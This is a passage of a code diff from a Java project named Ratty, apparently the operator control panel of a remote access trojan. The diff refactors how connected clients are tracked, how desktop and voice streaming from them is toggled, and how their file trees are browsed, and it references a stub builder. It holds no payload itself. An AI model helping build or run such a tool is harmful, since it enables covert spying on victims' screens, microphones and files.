-				final FileSystemPacket file = (FileSystemPacket)packet;
-				
-				handle(serverClient, file);
-			} else {
-				packet.execute(client);
-			}
+			client.displayController.handlePacket(packet);
+			client.fileTreeController.handlePacket(packet);
 		} else if (packet instanceof InformationPacket) {
 			final InformationPacket information = (InformationPacket)packet;
 			
-			handle(serverClient, information);
+			logIn(client, information);
 		}
 	}
 	
 	@Override
-	public void disconnected(final ActiveConnection client) {
-		final ServerClient serverClient = getServerClient(client);
-		final FileTreePanel treePanel = serverClient.getTreePanel();
+	public void disconnected(final ActiveConnection connection) {
+		final ServerClient client = getClient(connection);
 		
-		serverClient.setStreamingDesktop(false);
-		serverClient.setStreamingVoice(false);
-		serverClient.setController(null);
+		client.setStreamingDesktop(false);
+		client.setStreamingVoice(false);
 		
-		client.setObserver(null);
-		client.close();
-		clients.remove(client);
+		connection.setObserver(null);
+		connection.close();
 		
-		treePanel.setVisible(false);
-		gui.removeRow(serverClient);
+		clients.remove(client);
+		gui.removeRow(client);
 	}
 	
 	@Override
-	public synchronized void connected(final ActiveServer server, final ActiveConnection client) {
-		final ServerClient serverClient = new ServerClient(client);
+	public synchronized void connected(final ActiveServer server, final ActiveConnection connection) {
+		final ServerClient client = new ServerClient(connection);
 		final InformationPacket packet = new InformationPacket();
 		
-		client.setObserver(this);
-		clients.add(serverClient);
-		client.start();
-		client.addPacket(packet);
+		connection.setObserver(this);
+		clients.add(client);
+		connection.start();
+		connection.addPacket(packet);
 	}
 	
 	@Override
@@ -302,33 +80,22 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 	
 	@Override
 	public void userInput(final String command) {
-		final ServerClient serverClient = gui.getLastServerClientClicked();
-		final IPacket packet = getPacket(command, serverClient);
+		final ServerClient client = gui.getLastServerClientClicked();
+		final IPacket packet = getPacket(command, client);
 		
 		if (packet != null) {
-			serverClient.connection.addPacket(packet);
+			client.connection.addPacket(packet);
+		}
 	}
 	
-		if (command == RattyGui.DESKTOP) {
-			final boolean streaming = serverClient.isStreamingDesktop();
-			
-			serverClient.setStreamingDesktop(!streaming);
-			gui.updateTable();
-		} else if (command == RattyGui.FILES) {
-			final FileTreePanel treePanel = serverClient.getTreePanel();
-			
-			treePanel.setVisible(true);
-		} else if (command == RattyGui.BUILD) {
-			StubBuilder.start();
-		} else if (command == RattyGui.VOICE) {
-			final boolean streaming = serverClient.isStreamingVoice();
-			
-			serverClient.setStreamingVoice(!streaming);
-			gui.updateTable();
-		} else if (command == RattyGui.FREE) {
-			serverClient.setStreamingDesktop(false);
-			serverClient.setStreamingVoice(false);
+	public ServerClient getClient(final ActiveConnection connection) {
+		for (final ServerClient serverClient : clients) {
+			if (serverClient.connection == connection) {
+				return serverClient;
+			}
 		}
+		
+		return null;
 	}
 	
 }

Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@@ -9,16 +9,15 @@ public final class ServerClient {
 	private String name, os, version;
 	private boolean streamingDesktop, streamingVoice;
 	
-	private DisplayController displayPanel;
-	private FileTreePanel treePanel;
-	
 	final ActiveConnection connection;
+	final DisplayController displayController;
+	final FileTreeController fileTreeController;
 	
 	public ServerClient(final ActiveConnection connection) {
 		this.connection = connection;
 		
-		displayPanel = new DisplayController(connection);
-		treePanel = new FileTreePanel();
+		displayController = new DisplayController(this);
+		fileTreeController = new FileTreeController(this);
 	}
 	
 	public void logIn(final String name, final String os, final String version) {
@@ -27,8 +26,6 @@ public final class ServerClient {
 		this.version = version;
 		
 		loggedIn = true;
-		
-		treePanel.setTitle(name);
 	}
 	
 	public void setStreamingDesktop(final boolean streamingDesktop) {
@@ -39,10 +36,6 @@ public final class ServerClient {
 		this.streamingVoice = streamingVoice;
 	}
 	
-	public void setController(final IGuiController controller) {
-		treePanel.setController(controller);
-	}
-	
 	public String getName() {
 		return name;
 	}
@@ -71,12 +64,4 @@ public final class ServerClient {
 		return streamingVoice;
 	}
 	
-	public DisplayController getDisplayPanel() {
-		return displayPanel;
-	}
-	
-	public FileTreePanel getTreePanel() {
-		return treePanel;
-	}
-	
 }